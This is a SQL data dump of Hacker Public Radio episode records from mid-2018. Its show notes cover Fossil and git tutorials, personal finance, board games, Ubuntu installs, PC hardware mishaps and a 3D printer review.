(2564,'2018-05-31','Intro to Fossil',1991,'Klaatu talks about the Fossil version control system','<p>Some shownotes for fossil</p>\r\n\r\n<p>\r\nCreate a new fossil repository&#58;\r\n</p>\r\n\r\n<pre><code>  $ fossil new shownotes\r\n</code></pre>\r\n\r\n<p>\r\n  Add your work to the repository&#58;\r\n</p>\r\n\r\n<pre><code>  $ fossil add shownotes.html\r\n</code></pre>\r\n\r\n<p>\r\n  Commit your work&#58;\r\n</p>\r\n\r\n<pre><code>  $ fossil commit --comment \"added shownote HTML file\"\r\n</code></pre>\r\n\r\n<p>\r\n  As a fun exercise, destroy your work.\r\n</p>\r\n\r\n<pre><code>  $ echo \"klaatu said this was perfectly safe\" &gt; shownotes.html\r\n  $ cat shownotes.html\r\n  klaatu said this was perfectly safe\r\n</code></pre>\r\n\r\n<p>\r\n  And now revert it back to the\r\n  last known good version&#58;\r\n</p>\r\n\r\n<pre><code>  $ fossil revert shownotes.html\r\n  REVERT shownotes.html\r\n  $ head -n1 shownotes.html\r\n  &lt;p&gt;Some shownotes for fossil&lt;p&gt;\r\n</code></pre>\r\n\r\n<p>\r\n  Did you accidentally revert? You can undo that.\r\n</p>\r\n\r\n<pre><code>  $ fossil undo shownotes.html\r\n</code></pre>\r\n\r\n<p>\r\n  And then revert again.\r\n</p>\r\n\r\n<pre><code>  $ fossil revert shownotes.html\r\n  REVERT shownotes.html\r\n  $ head -n1 shownotes.html\r\n  &lt;p&gt;Some shownotes for fossil&lt;p&gt;\r\n</code></pre>\r\n\r\n<p>\r\nCheck your remote&#58;\r\n</p>\r\n<pre><code>  $ fossil remote-url\r\n</code></pre>\r\n\r\n<p>\r\nClose a fossil repo&#58;\r\n</p>\r\n\r\n<pre><code>  $ fossil close\r\n</code></pre>\r\n\r\n<p>\r\nSee the fancy browser-based UI of your repo&#58;\r\n</p>\r\n<pre><code>  $ fossil ui\r\n</code></pre>\r\n\r\n',78,0,0,'CC-BY-SA','fossil,sqlite,svn,git,scm',0,0,1),
(2567,'2018-06-05','Son of Hunky Punk',269,'I follow-up on my Frotz episode by covering Son of Hunky Punk, a Z-machine interpreter for Android.','<p>I follow-up on my Frotz episode by covering Son of Hunky Punk, a Z-machine interpreter for Android. I also test my copy of ZORK I to see if it works as well as it did on Frotz.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><p>Son of Hunky Punk - IFWiki<br />\r\n<a href=\"https://ifwiki.org/index.php/Son_of_Hunky_Punk\" class=\"uri\">https://ifwiki.org/index.php/Son_of_Hunky_Punk</a></p></li>\r\n<li><p>Github: <a href=\"https://github.com/retrobits/son_of_hunkypunk\" class=\"uri\">https://github.com/retrobits/son_of_hunkypunk</a></p></li>\r\n<li><p>Google Play: <a href=\"https://play.google.com/store/apps/details?id=org.andglkmod.hunkypunk&amp;hl=en_US\" class=\"uri\">https://play.google.com/store/apps/details?id=org.andglkmod.hunkypunk&amp;hl=en_US</a></p></li>\r\n<li><p>F-Droid: <a href=\"https://f-droid.org/packages/org.andglkmod.hunkypunk/\" class=\"uri\">https://f-droid.org/packages/org.andglkmod.hunkypunk/</a></p></li>\r\n<li><p>Hunky Punk (the original)<br />\r\n<a href=\"https://hunkypunk.sourceforge.net/\" class=\"uri\">https://hunkypunk.sourceforge.net/</a></p></li>\r\n</ul>\r\n<h3 id=\"contact\">Contact:</h3>\r\n<ul>\r\n<li>IRC: claudiom (#oggcastplanet on Freenode)</li>\r\n<li>E-mail: claudio (at) linuxbasement (dot) com</li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','Interactive Fiction,interpreter,Android,Son of Hunky Punk,Hunky Punk',0,0,1),
(2568,'2018-06-06','Personal finance',3282,'How to manage personal finances.','<h2 id=\"personal-finances\">Personal finances</h2>\r\n<h3 id=\"problem\">Problem</h3>\r\n<p>People need to save for retirement. But how do we do that?</p>\r\n<p>Conventional wisdom in the USA says that Social Security is your retirement fund.</p>\r\n<p>There\'s no guarantee that will still be around when you retire, and it\'s entirely out of your hands. It maybe a good bonus, but possibly it isn\'t something to rely on.</p>\r\n<p>So how do we do it?</p>\r\n<h3 id=\"they-dont-teach-you-this-stuff-in-school\">They don\'t teach you this stuff in school</h3>\r\n<p>People say you should save for retirement, but they forget to say <em>how</em>.</p>\r\n<p>Currently, there are two de facto methods of funding retirement in the USA:</p>\r\n<ul>\r\n<li>social security: abstract, not guaranteed. Assumes you start contributing to ssn early</li>\r\n<li>401k. abstract, indirect unless you take active role in tracking it. best if you start early.</li>\r\n</ul>\r\n<p>In other countries, there may be significant alternatives. For instance, Kiwisaver in New Zealand.</p>\r\n<p>These methods are OK, but difficult for you to interact with directly.</p>\r\n<h3 id=\"there-are-two-direct-levels-of-investment\">There are two direct levels of investment:</h3>\r\n<ol start=\"0\" type=\"1\">\r\n<li>At your bank: CDs and mutual funds</li>\r\n</ol>\r\n<ul>\r\n<li>Go to your bank, ask to invest in a mutual fund or Certificate of Deposit (CD)</li>\r\n</ul>\r\n<ol type=\"1\">\r\n<li>Stock market: your local market and the US market</li>\r\n</ol>\r\n<ul>\r\n<li>what: direct investment in &quot;publically traded&quot; (whatever that means) companies</li>\r\n<li>how: <a href=\"https://etrade.com\" class=\"uri\">https://etrade.com</a> or <a href=\"https://fidelity.com\" class=\"uri\">https://fidelity.com</a></li>\r\n<li>In other countries, look for brokers who will invest your money in local or international markets</li>\r\n</ul>\r\n',78,0,0,'CC-BY-SA','money, finance, life',0,0,1),
(2569,'2018-06-07','Pandemic: Reign of Cthulu board game review',1140,'Klaatu reviews a board game','<p><a href=\"https://boardgamegeek.com/boardgame/192153/pandemic-reign-cthulhu\" target=\"_blank\">Pandemic Reign of Cthulu</a>\r\n</p><p>\r\n<a href=\"https://boardgamegeek.com/boardgame/30549/pandemic\" target=\"_blank\">Pandemic</a> original edition\r\n</p>\r\n<p>Mods can be found online. For instance: <a href=\"https://www.fractuslearning.com/pandemic-board-game/\" target=\"_blank\">fractuslearning.com&#47;pandemic-board-game</a></p>\r\n\r\n',78,95,0,'CC-BY-SA','game,tabletop',0,0,1),
(2571,'2018-06-11','Kill Dr. Lucky',1168,'Klaatu reviews a board game','<p>Details about <a href=\"https://paizo.com/products/btpy9ijp?Kill-Doctor-Lucky\" target=\"_blank\">Kill Doctor Lucky</a> on Paizo.com.</p>',78,95,0,'CC-BY-SA','game,tabletop',0,0,1),
(2570,'2018-06-08','Penguicon 2018 Report',987,'Penguicon 2018 took place on May 4-6, 2018 in Southfield, Michigan','<p>Penguicon 2018 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I tell you about my own personal experience at Penguicon this year.</p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://2018.penguicon.org/\" class=\"uri\">https://2018.penguicon.org/</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCZFipeZtQM5CKUjx6grh54g\" class=\"uri\">https://www.youtube.com/channel/UCZFipeZtQM5CKUjx6grh54g</a></li>\r\n<li><a href=\"https://www.michaelwlucas.com/\" class=\"uri\">https://www.michaelwlucas.com/</a></li>\r\n<li><a href=\"https://www.physics.ccsu.edu/larsen/\" class=\"uri\">https://www.physics.ccsu.edu/larsen/</a></li>\r\n<li><a href=\"https://solarsystem1.jpl.nasa.gov/ssa/home.cfm\" class=\"uri\">https://solarsystem1.jpl.nasa.gov/ssa/home.cfm</a></li>\r\n<li><a href=\"https://www.youtube.com/channel/UCHkYOD-3fZbuGhwsADBd9ZQ\" class=\"uri\">https://www.youtube.com/channel/UCHkYOD-3fZbuGhwsADBd9ZQ</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2510\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2510</a></li>\r\n<li><a href=\"https://www.zwilnik.com\" class=\"uri\">https://www.zwilnik.com</a></li>\r\n</ul>\r\n',198,96,0,'CC-BY-SA','Penguicon 2018',0,0,1),
(2573,'2018-06-13','Foundations of git rebase',1229,'Klaatu talks about git rebase','<p>A git rebase is like a git merge done through rose-coloured glasses.</p>\r\n\r\n<p>\r\nYou can see it for yourself by doing this little experiment. Assuming the <code>alice</code> directory is a valid git repository&#58;\r\n</p>\r\n\r\n<pre><code>$ cd alice\r\n$ echo \"foo\" &gt;&gt; rebase.episode\r\n$ git add rebase.episode ; git commit -m \'begin rebase episode\'\r\n$ git checkout -b monsters\r\n\r\n$ git branch\r\n* monsters\r\nmaster\r\n$ echo \"ghoul\" &gt;&gt; ghoul.txt\r\n$ git add ghoul.txt ; git commit -m \'ghoul\'\r\n$ git checkout master\r\n$ echo \"rogue\" &gt;&gt; rogue.txt\r\n$ git add rogue.txt ; git commit -m \'rogue\'\r\n\r\n$ git checkout monsters\r\n$ echo \"dragon\" &gt;&gt; dragon.txt\r\n$ git add dragon.txt ; git commit -m \'dragon\'\r\n\r\n$ git checkout master\r\n$ echo \"paladin\" &gt;&gt; paladin.txt\r\n$ git add paladin.txt ; git commit -m \'paladin\'\r\n</code></pre>\r\n\r\n<p>\r\nYou have now emulated a bunch of activity on two separate branches of a git repository.\r\nCreate a copy of the repo so that you can perform two separate git actions.\r\n</p>\r\n\r\n<pre><code>$ cd ..\r\n$ cp -r alice alice-merge\r\n$ cp -r alice alice-base\r\n</code></pre>\r\n\r\n<p>\r\nDo an honest merge&#58;\r\n</p>\r\n\r\n<pre><code>$ cd alice-merge\r\n$ git checkout master\r\n$ git merge monsters\r\n</code></pre>\r\n\r\n<p>\r\nThe log shows you an accurate representation what got merged, and how all those changes came to be&#58;\r\n</p>\r\n\r\n<pre><code>$ git log --oneline\r\n123456 Merged monsters into master\r\n789101 paladin\r\n112131 dragon\r\n415161 rogue\r\n718191 ghoul\r\n7ef217 begin rebase episode\r\n</code></pre>\r\n\r\n<p>\r\nNow perform a rebase.\r\n</p>\r\n\r\n<pre><code>$ cd ../alice-base\r\n$ git checkout master\r\n$ git rebase monsters\r\n</code></pre>\r\n\r\n<p>\r\nThe log displays a different story than what really happened.\r\n</p>\r\n\r\n<pre><code>123456 Merged monsters into master\r\n8e9122 paladin\r\n21d163 rogue\r\n912a3f dragon\r\n51c098 ghoul\r\n7ef217 begin rebase episode\r\n</code></pre>\r\n\r\n<p>\r\nBetter? Worse? YOU DECIDE&#33;\r\n</p>\r\n\r\n',78,81,0,'CC-BY-SA','git,rebase,merge',0,0,1),
(2580,'2018-06-22','Diabetes',841,'This is the story of how I became diabetic and what I did about it.','<p>For the last 15 years or so Diabetes has been a central fact in my life, and I needed to learn what to do about it. I think I discovered a way I can live with it and still have a good quality of life</p>\r\n<ul>\r\n<li><a href=\"https://www.webmd.com/diabetes/default.htm\" class=\"uri\">https://www.webmd.com/diabetes/default.htm</a></li>\r\n<li><a href=\"https://www.aao.org/eye-health/diseases/what-is-diabetic-retinopathy\" class=\"uri\">https://www.aao.org/eye-health/diseases/what-is-diabetic-retinopathy</a></li>\r\n<li><a href=\"https://www.mayoclinic.org/diseases-conditions/diabetic-neuropathy/symptoms-causes/syc-20371580\" class=\"uri\">https://www.mayoclinic.org/diseases-conditions/diabetic-neuropathy/symptoms-causes/syc-20371580</a></li>\r\n<li><a href=\"https://www.webmd.com/diabetes/tc/diabetic-nephropathy-topic-overview#1\" class=\"uri\">https://www.webmd.com/diabetes/tc/diabetic-nephropathy-topic-overview#1</a></li>\r\n<li><a href=\"https://www.diabetes-book.com/\" class=\"uri\">https://www.diabetes-book.com/</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=338\" class=\"uri\">https://www.palain.com/?page_id=338</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Medicine, Diabetes',0,0,1),
(2574,'2018-06-14','Personal cash-only finance',1800,'Klaatu discusses the advantages and disadvantages of going [mostly] cash-only','<p>Klaatu discusses the advantages and disadvantages of going [mostly] cash-only</p>\r\n',78,0,0,'CC-BY-SA','money, finance, life',0,0,1),
(2579,'2018-06-21','Ubuntu 18.04 Mate',620,'This is a short show on installing the latest Ubuntu 18.04 onto a laptop and desktop PC','<h2 id=\"ubuntu-mate-18.04\">Ubuntu Mate 18.04</h2>\r\n<p>Good day to all you HPR Listers. Sorry that its been a while since I recorded a show, but as they say life has got in the way over the last few months, and I\'ve spent quite a bit of it away from the home front.</p>\r\n<p>As it happens on one of those trips away my laptop running Mint Mate 18.3 LTS, based on Ubuntu 16.04LTS decided that it wouldn\'t boot as it didn\'t recognise my account, and as I had not created a Root account I could not sign in and fix the issue, which was a corrupted configuration file in the users folder.</p>\r\n<p>As luck would have it I had just downloaded the latest Ubuntu Mate 18.04 .iso to try it as a live disc, so I had a boot disc that I could use to boot the laptop and access the data to rescue all my important information which was mainly all my emails and my browser settings and bookmarks, as this is one of my travelling laptops not much of importance is permanently stored on it, so it didn\'t take long and I was ready to reinstall the OS to the PC. Just in case I had missed some important data on the current SSD, as I had a spare SSD with me in the bag, yes I\'m geeky enough to carry a spare SSD or 2 in the bag. So I dug it out and installed it into the PC, which by the way is a Dell Latitude E6540 with an i5 dual core mobile chip with hyper-threading. It\'s currently running 4Gig DDR3 RAM but can run up to 16Gig in the 2 slots it has.</p>\r\n<p>So I booted the laptop with the USB boot disc I had created and as with all recent Ubuntu releases you get a screen asking if you want to try or install the OS, as I needed a working PC I went straight to the install option. For those not familiar with Linux or Ubuntu, the installer is a joy to use and very friendly to new users. As this was a first install to this SSD the only option I had was a full install which I chose, then was asked if I wanted to do the default install which partitions the drive and installs the bootloader automatically without any further need for intervention or did I want to do a custom partition arrangement. As the default is adequate for my needs I chose this and clicked continue. During this process you also get the option of a minimal or full installation, the minimal installation gets you a running PC with the basic utilities and leaves you to chose what to install later, but as I use the software that would be omitted I chose the full install. You get asked a final time if you are sure you want to install, with a warning that all current data on the disc will be wiped, as I was happy I clicked proceed. At this point the install starts and you are taken through setting up your PC configuration for language, keyboard, and user account. By the time I had completed this, the install was half completed and the whole process took less than 15 minutes.</p>\r\n<p>After the install is complete you get the message to reboot the PC and eject the boot media to reboot into the new install, on first boot you will either be presented with the login screen or go straight to the desktop depending on the choices you made during the install. Once you are at the desktop for the first time you are presented with a wallpaper of the Ubuntu Mate logo and 2 panels one at the top and one at the bottom of the screen. The top one has for those more traditional Linux and Windows users all the information you would expect on the lower panel, such as the menu, notification area etc. As I\'m more traditional in my use of a PC I quickly set up the lower panel with the Advanced Mate Menu and other notification apps such as network, clock and calendar and then deleted the other panel, but obviously this is a personal preference - go with what you find comfortable.</p>\r\n<p>The next step after connecting to the local WiFi was to install any updates, which despite this release only being a few days old there were a few, but this didn\'t take long and in less than an hour, which included backing up and swapping out the SSD I had a fully working laptop running Ubuntu 18.04 Mate.</p>\r\n<p>So there are a few bits of software not included by default in Ubuntu which I use regularly, one of which is synaptic so I opened the terminal and a <code>sudo apt install synaptic</code> later I had the package manager on the PC. You may ask why, but the software Boutique doesn\'t seem to have all the software available in the repositories and I don\'t always know the appropriate name of software I\'m looking for to use the terminal all the time, so synaptic is a tool I use a lot. The next software that gets installed is Audacity as I use this for editing audio and sometimes extracting the audio stream from videos of the internet, most importantly for HPR listeners it is what I use to record and edit my HPR shows.</p>\r\n<p>So back to Ubuntu 18.04 Mate, I\'ve been running it for a month on the laptop and about 3 weeks on my main box and as you would expect from a LTS (long term support until 2023) it\'s very solid and stable, I had a glitch transferring my e mails into Thunderbird on my main box, it had worked flawlessly on the laptop, so I ended up having to reinstall from scratch and on the second install it went perfectly, I think it was down to the way I set up Thunderbird which screwed things up, not the OS, but it\'s all fine now and I didn\'t lose anything in the process. For me coming from Mint there are a couple of utilities the Mint developers have implemented that are not available in Ubuntu, but nothing I can\'t work around. Saying that, if there are any Ubuntu developers out there, the Mint USB drive formatter and USB boot disc creation utilities are nice and simple to use but not available in the Ubuntu repositories.</p>\r\n<p>Obviously I\'ve only had limited time to get to use the new OS but so far it doesn\'t seem too bad coming back to the mother ship so to speak from several years of using Mint Mate, virtually since its inception, but as I record this there has been nothing that has made me feel I need to rush and reinstall Mint, so I\'ll continue with Ubuntu Mate 18.04 at least until the new Mint19 based on this Ubuntu release comes out.</p>\r\n<p><a href=\"https://ubuntu-mate.org/download/\" class=\"uri\">https://ubuntu-mate.org/download/</a></p>\r\n',338,57,0,'CC-BY-SA','Linux, Ubuntu',0,0,1),
(2576,'2018-06-18','My swedish and german podcasts part 1',335,'I\'m recommending 6 podcasts in swedish and german','<ul>\r\n<li><strong>P1 Språket</strong> <a href=\"https://api.sr.se/api/rss/pod/4012\" class=\"uri\">https://api.sr.se/api/rss/pod/4012</a></li>\r\n<li><strong>P1 Vetenskapsradion Historia</strong> <a href=\"https://api.sr.se/api/rss/pod/4020\" class=\"uri\">https://api.sr.se/api/rss/pod/4020</a></li>\r\n<li><strong>Medierna i P1</strong> <a href=\"https://api.sr.se/api/rss/pod/3951\" class=\"uri\">https://api.sr.se/api/rss/pod/3951</a></li>\r\n<li><strong>@mediasres</strong> <a href=\"https://www.deutschlandfunk.de/podcast-mediasres.762.de.podcast\" class=\"uri\">https://www.deutschlandfunk.de/podcast-mediasres.762.de.podcast</a></li>\r\n<li><strong>Europa heute</strong> <a href=\"https://www.deutschlandfunk.de/podcast-europa-heute.796.de.podcast\" class=\"uri\">https://www.deutschlandfunk.de/podcast-europa-heute.796.de.podcast</a></li>\r\n<li><strong>Computer und Kommunikation</strong> <a href=\"https://www.deutschlandfunk.de/podcast-computer-und-kommunikation.685.de.podcast\" class=\"uri\">https://www.deutschlandfunk.de/podcast-computer-und-kommunikation.685.de.podcast</a></li>\r\n</ul>',309,75,0,'CC-BY-SA','podcasts,swedish,german,language,media,europe',0,0,1),
(2577,'2018-06-19','Emigration',1855,'Howto emigrate','<p>Confused about leaving your homeland for &#60;strike&#62;greener&#60;&#47;strike&#62; pastures? Maybe this episode will shed some light on the subject.</p>\r\n\r\n<p>Public domain music from <a href=\"https://archive.org/details/Americasnationalanthem\" target=\"_blank\">archive.org</a>. Can you find your national anthem? Do you know all the words to your national anthem? Either way, you should be ashamed of yourself.</p>',78,0,0,'CC-BY-SA','Emigration,visa,permanent residency,citizenship',0,0,1),
(2575,'2018-06-15','Quick Tips June 2018',826,'I go over a few quick tips for June','<ul>\r\n<li>sites that required two factor tips</li>\r\n<li>Referb your can opener</li>\r\n<li>Referb your powerwheels</li>\r\n<li>Humidifier filter DIY</li>\r\n<li>free anonymous email over TOR</li>\r\n</ul>',36,0,1,'CC-BY-SA','QuickTips',0,0,1),
(2578,'2018-06-20','LinuxLUGcast 102 the lost episode',13976,'LinuxLUGcast episode 102. The lost episode.','<p>\r\nThis was episode 102 of the LinuxLUGcast.\r\n<br/>\r\nSo the LinuxLUGcast is an open podcast/LUG that meets every first and third friday of the month using mumble. This method of running a podcast leaves it open to anyone showing up (which is what we want because it gets difficult for fiftyonefifty and I to come up with topics all the time). We have also gotten the reputation of being a safe for work podcast. This is why episode 102 is being posted here. Between the not safe for work language and the fact that after a few drinks during the podcast I get a little rambly we thought it best not to publish it on the regular LinuxLUGcast feed, but I thought there was some good conversation here that would be lost if it did not go somewhere. After some discussion we at the LinuxLUGcast decided that we would publish it here so that it could be heard by the HPR community.\r\n<br/>\r\nWe have also done some website remodeling which has screwed up the .ogg feed, and wanted to let people know that we are still podcasting and to please check out\r\n<a href=\"https://www.linuxlugcast.com/\">https://www.linuxlugcast.com/</a> for the new .ogg feed.\r\n<br/>\r\nEnjoy\r\n</p>\r\n<p>\r\np.s. please forgive my rambling\r\n</p>\r\n',269,0,1,'CC-BY-SA','linux, computing',0,0,1),
(2585,'2018-06-29','Check to see if a Remote Control is working',99,'Yet another amazing life hack from Ken','<p>\r\nEver have a remote control that didn\'t seem to be working ? With this AMAZING LIFE HACK you can see the unseen</p>\r\n<p>\r\n<small>\r\nOK all it is is looking at the remote using your camera - but still...\r\n</small>\r\n</p>\r\n',30,0,1,'CC-BY-SA','remote control, life hack',0,0,1),
(2581,'2018-06-25','My new 3D printer - impressions of the Creality Ender 3',1239,'I bought a Creality Ender 3 3D printer in June 2018. Here are my first impressions of it','<h1 id=\"my-new-3d-printer---impressions-of-the-creality-ender-3\">My new 3D printer - impressions of the Creality Ender 3</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>I have been thinking of buying a 3D printer for a year or so. I had thought of getting a <a href=\"https://www.prusaprinters.org/prusa-i3/\" title=\"Prusa i3 MK3\">Prusa i3 MK3</a> in kit form, but although it\'s cheaper than the built form this printer is not cheap, and I doubted my ability to build it. I was also unsure whether there was a real need for the capabilities of a 3D printer in my life, and whether such a purchase was justified.</p>\r\n<p>I had noticed the Chinese <a href=\"https://www.creality3d.cn/creality-cr-10-3d-printer-p00096p1.html\" title=\"Creality CR10\">Creality CR10</a> printer in the recent past, and wondered about buying one of these at about half the price of the Prusa. This is a good-sized printer which comes fully-assembled as I understand, and it has had many good reviews.</p>\r\n<p>When the <a href=\"https://www.creality3d.cn/creality-ender-3-3d-printer-p00095p1.html\" title=\"Creality Ender 3\">Creality Ender 3</a> was released in April 2018 for around half the price of the CR10 it looked worth the risk to see if I really needed a 3D printer. So I bought one (from Amazon) in June.</p>\r\n<p>As I write this (2018-06-10) it\'s been less than a week since it was delivered, so this is a very preliminary look at the printer.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>For the rest of the notes for this episode <a href=\"https://hackerpublicradio.org/eps/hpr2581/full_shownotes.html\">look here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/3D_printing\">Wikipedia definition of 3D printing</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Bowden_extruder\">Wikipedia article on the <em>Bowden extruder</em></a></li>\r\n<li>Printers mentioned:\r\n<ul>\r\n<li><a href=\"https://www.prusaprinters.org/prusa-i3/\">Prusa i3 MK3</a></li>\r\n<li>Creality CR10\r\n<ul>\r\n<li><a href=\"https://www.creality3d.cn/creality-cr-10-3d-printer-p00096p1.html\">Website</a></li>\r\n<li><a href=\"https://www.banggood.com/DIY-Creality-CR-10-3D-Printer-300300400mm-Printing-Size-1_75mm-0_4mm-Nozzle-p-1085645.html?cur_warehouse=USA\">Buy on Banggood</a></li>\r\n</ul></li>\r\n<li>Creality Ender 3\r\n<ul>\r\n<li><a href=\"https://www.creality3d.cn/creality-ender-3-3d-printer-p00095p1.html\">Website</a></li>\r\n<li><a href=\"https://www.banggood.com/Creality-3D-Ender-3-V-slot-Prusa-I3-DIY-3D-Printer-Kit-220x220x250mm-Printing-Size-p-1278399.html?cur_warehouse=CN\">Buy on Banggood</a></li>\r\n<li><a href=\"https://all3dp.com/1/creality-ender-3-3d-printer-review/\">All3DP Review</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/DIN_rail\">Wikipedia article on DIN Rails</a></li>\r\n<li>Thingiverse items:\r\n<ul>\r\n<li><a href=\"https://www.thingiverse.com/thing:2874536\">Ender 3 bed levelling GCode</a></li>\r\n<li><a href=\"https://www.thingiverse.com/thing:2610621/files\">DIN Rail fittings</a></li>\r\n<li><a href=\"https://www.thingiverse.com/3DMakerFun/collections/creality-3d-ender-3-upgrades\">Printable upgrades for the Ender 3</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','3D printer',0,0,1),
(2582,'2018-06-26','3 Contribution case studies',2699,'How easy is it for your potential contributors to contribute?','<p><em>How easy is it for your potential contributors to contribute?\r\nKlaatu looks at three open source and open culture projects to determine how easy they make it for your potential contributors to contribute?\r\n</em></p> ',78,0,0,'CC-BY-SA','FLOSS contributions',0,0,1),
(2590,'2018-07-06','Blowing a PC Power Supply',229,'Just a short show on how I managed to blow the power supply on my desktop PC','<p>Greetings Hacker Public Radio listeners, Tony Hughes again coming all the way from Blackpool in the North West of the UK. Originally this show was going to be about some new kit that I have recently bought at my favourite computer auction. However as luck or actually bad luck should have it I fried the power supply on my Desktop machine yesterday as I was setting it up again after moving back to my office.</p>\r\n<p>The PC is a HP Compaq Elite 8300 micro Desk top tower with a i7 3rd generation 3770 3.4Ghz CPU and since upgrades now has 16Gig Ram and a Primary 256Gig SSD. This is my daily driver and I\'ve been running it for a couple of years since I bought it at the said auction. It is the best PC I\'ve ever owned; the full specifications are here:</p>\r\n<p><a href=\"https://www.cnet.com/products/hp-compaq-elite-8300-cmt-core-i7-3770-3-4-ghz-4-gb-1-tb-b2d12utaba/specs/\" class=\"uri\">https://www.cnet.com/products/hp-compaq-elite-8300-cmt-core-i7-3770-3-4-ghz-4-gb-1-tb-b2d12utaba/specs/</a></p>\r\n<p>As I said I was re setting up my full rig after moving it back to the office upstairs after a temporary move while we had a house guest. As I was plugging in the power cable there was a flash and crack, and a few expletives were uttered, sure enough when I switched of the power at the plug and reconnected the power cable and then tried to power on the PC, it was dead. I was hoping that it was the power supply that had blown and as I had a spare I was not too concerned. However on investigation HP have done the dirty with the design of the motherboard and power supply and neither are standard ATX configuration, yes propriety hardware for this baby.</p>\r\n<p>I was lucky as a few months ago I had picked up a i3 HP using the same case, so I pulled out the power supply from this and fitted it into the i7 PC and luckily that did turn out to be the issue, and the PC sprang into life when I hit the power button. I’m now left with a PC that works, but another one that unless I can find a power supply to match is next to useless except for spares.</p>\r\n<p>Lessons learned, never connect the power cable when the socket is live, if your plug socket doesn\'t have a switch connect the kettle end to the PC first to reduce the risk of a short like mine. Also never assume that 2nd hand PC’s are standard case/motherboard format as you may have a problem sourcing spares if anything goes wrong as in my case. It’s not the first PC disaster I\'ve had over the years and I can as in this case usually get round them, although not when I bricked the BIOS on a Lenovo x200 one time trying to clear a BIOS password, again I was left with a box of spares which actually came in very handy.</p>\r\n<p>Well that\'s the end of my tale of woe. I’ll do another episode on the recent trip to the auction and my new laptops shortly. This is Tony Hughes for Hacker Public Radio signing off for now.</p>\r\n',338,57,0,'CC-BY-SA','Computers, Repair, safety',0,0,1),
(2595,'2018-07-13','New laptop bargain?',252,'This is a short show about another trip to the computer auction and one of my purchases','<p>Greetings HPR listeners this is Tony Hughes again coming from Blackpool in the UK. Well, as you heard on my last episode I recently visited the computer auction I frequent here in the UK. If you want to drool over the catalogue at any time their website is here:</p>\r\n<p><a href=\"https://www.realnorth.co.uk/\" class=\"uri\">https://www.realnorth.co.uk/</a></p>\r\n<p>So at the sale in June they had some really good 3-4 year old laptops for sale so I decided to take a trip and see if I could liberate a few bargains, and one of the items I came away with was 3 Toshiba Z30a Ultra Books of the i5 4th generation. The basic specs are:</p>\r\n<ul>\r\n<li>i5-4300U CPU</li>\r\n<li>128GB mSATA solid state drive</li>\r\n<li>13.3 inch display</li>\r\n<li>8Gig DDR Ram</li>\r\n<li>3 x USB3 ports</li>\r\n<li>VGA and HDMI video out</li>\r\n<li>Full Ethernet Port</li>\r\n<li>Combined Audio in/out jack</li>\r\n<li>SD card reader</li>\r\n<li>Mobile Intel ® HD Graphics with up to 1792MB dynamically allocated</li>\r\n<li>shared graphics memory.</li>\r\n</ul>\r\n<p>There will be a link in the show notes to the full specifications</p>\r\n<p><a href=\"https://www.toshiba.co.uk/discontinued-products/portege-z30-a-1fd/\" class=\"uri\">https://www.toshiba.co.uk/discontinued-products/portege-z30-a-1fd/</a></p>\r\n<p>I had also picked up some 240Gig SSD\'s and had planned to upgrade the storage but this is not possible with a 2.5 inch drive as it doesn\'t have a bay for this format. However it does support up to 128Gig High capacity SD cards so this could be an option if you don\'t want to go to the expense of upgrading the mSATA drive, however as luck would have it one of my other purchases had a 256Gig mSATA drive in a 2.5 inch caddy so that was quickly swapped out and both laptops got an upgrade. More of that in another show.</p>\r\n<p>So after doing the hardware upgrade I proceeded to install Ubuntu 18.04 MATE onto the PC. The install worked flawlessly and after completion and configuring the machine to my liking everything seems to be working just fine. The battery condition for a 4 year old laptop is excellent at over 90%, however a replacement can be had on Ebay for around £30 if needed and I always factor this into any second hand laptops I buy.</p>\r\n<p>Since I got it running I\'ve installed Windows 7 in a Virtual Machine, in this case Virtual Box as I have a preconfigured Virtual Box HDD image that makes it less of a hassle to install as I don’t have to spend days waiting for all the updates to come through. When this is running in the background it doesn\'t over tax the host machine, and for Linux users it does mean you have access to that occasional bit of light weight MS software that you may need without the need to lug around 2 PC\'s.</p>\r\n<p>So did I bag a bargain, well 4 years ago on release these laptops went for £1100+ in the UK and even today they fetch £160 in good order on the likes of Ebay for a model with the specification as I originally purchased it. I would never have been in the market to spend £1000+ on a laptop now or then so the only way I can enjoy these types of machines is after they have been pre loved by someone else. Lets just say £160 is quite a bit more than I paid but with the upgrade to 256Gig mSATA drive I have a better machine for a little less than that, I personally think I bagged a bargain which will do me good service in the coming months/years.</p>\r\n',338,57,0,'CC-BY-SA','computer auction,laptop',0,0,1),
(2584,'2018-06-28','Plot Twists In Storytelling',719,'Lostnbronx examines plot twists, including the different types, and how they can be used.','<p>Plot twists come in several varieties, and can produce different effects in stories. They can be powerful tools, done correctly, but quickly become trite and predictable if over-used, or used poorly. What\'s the best way to include them? And when might it be a mistake to even try?</p>',107,105,0,'CC-0','storytelling,plot twists,lostnbronx',0,0,1),
(2587,'2018-07-03','Cleaning out your Digital Gutters',1519,'Knightwise talks about being a geek and his quest to curate the library of his mind','<p>While cleaning out the gutters, Knightwise talks about cleaning out the digital gutters of his information consumption and looking for geeky ways to get his information fix.</p>\r\n',111,0,1,'CC-BY-SA','geek, life, lifestyle',0,0,1),
